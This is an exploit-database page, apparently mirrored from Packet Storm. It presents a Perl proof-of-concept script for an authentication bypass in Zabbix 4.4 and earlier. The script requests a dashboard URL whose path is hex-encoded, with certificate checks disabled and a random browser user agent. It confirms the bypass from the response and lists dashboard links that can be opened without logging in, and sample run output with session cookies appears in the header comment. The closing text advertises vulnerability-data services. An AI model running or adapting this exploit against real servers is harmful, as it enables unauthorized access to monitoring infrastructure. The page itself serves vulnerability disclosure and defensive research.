Lucene search
K

Zabbix 4.4 Authentication Bypass

🗓️ 07 Oct 2019 00:00:00Reported by Todor DonevType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 196 Views

Zabbix 4.4 Authentication Bypass Demo PoC Exploi

Code
`#!/usr/bin/perl -w  
#  
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit  
# # [ Exploit Author: Todor Donev 2019 <[email protected]>  
# # [ Initializing the browser  
# # [ >>> Referer =>   
# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1  
# # [ >>> Content-Type => application/x-www-form-urlencoded  
# # [ <<< Cache-Control => no-store, no-cache, must-revalidate  
# # [ <<< Connection => close  
# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT  
# # [ <<< Pragma => no-cache  
# # [ <<< Server => nginx  
# # [ <<< Vary => Accept-Encoding  
# # [ <<< Content-Type => text/html; charset=UTF-8  
# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT  
# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT  
# # [ <<< Client-Peer =>   
# # [ <<< Client-Response-Num => 1  
# # [ <<< Client-SSL-Cert-Issuer =>   
# # [ <<< Client-SSL-Cert-Subject =>   
# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256  
# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL  
# # [ <<< Client-SSL-Warning => Peer certificate not verified  
# # [ <<< Client-Transfer-Encoding => chunked  
# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"  
# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly  
# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload  
# # [ <<< Title => TARGET: Dashboard  
# # [ <<< X-Content-Type-Options => nosniff  
# # [ <<< X-Frame-Options => SAMEORIGIN  
# # [ <<< X-Meta-Author => Zabbix SIA  
# # [ <<< X-Meta-Charset => utf-8  
# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d  
# # [ <<< X-Meta-Msapplication-Config => none  
# # [ <<< X-Meta-Msapplication-TileColor => #d40000  
# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png  
# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1  
# # [ <<< X-UA-Compatible => IE=Edge  
# # [ <<< X-XSS-Protection => 1; mode=block  
# # [  
# # [ The target is vulnerable. Try to open these links:  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1  
# # [ https://TARGET/zabbix/overview.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1  
# # [ https://TARGET/zabbix/latest.php?ddreset=1  
# # [ https://TARGET/zabbix/charts.php?ddreset=1  
# # [ https://TARGET/zabbix/screens.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1  
# # [ https://TARGET/zabbix/srv_status.php?ddreset=1  
# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1  
# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1  
# # [ https://TARGET/zabbix/report2.php?ddreset=1  
# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list  
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1  
#   
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use HTML::TreeBuilder;  
my $host = shift || ''; # Full path url to the store  
$host =~ s|/$||;  
print "\033[2J"; #clear the screen  
print "\033[0;0H"; #jump to 0,0  
print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";  
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";  
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);  
print "[ Initializing the browser\n";  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout(30);  
$browser->agent($user_agent);  
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";  
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);   
my $response = $browser->request($request);  
print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;  
print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;  
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');  
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');  
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){  
print "[\n[ The target is vulnerable. Try to open these links:\n";  
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());  
my @files = $tree->look_down(_tag => 'a');  
for my $line (@files){  
next if ($line->attr('href') =~ m/javascript/);  
next if ($line->attr('href') =~ m/\#/);  
next if ($line->attr('href') =~ m/http/);  
print "[ ", $host."/zabbix/".$line->attr('href'), "\n";  
}  
} else {   
print "[ Exploit failed! The target isn't vulnerable\n";  
exit;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation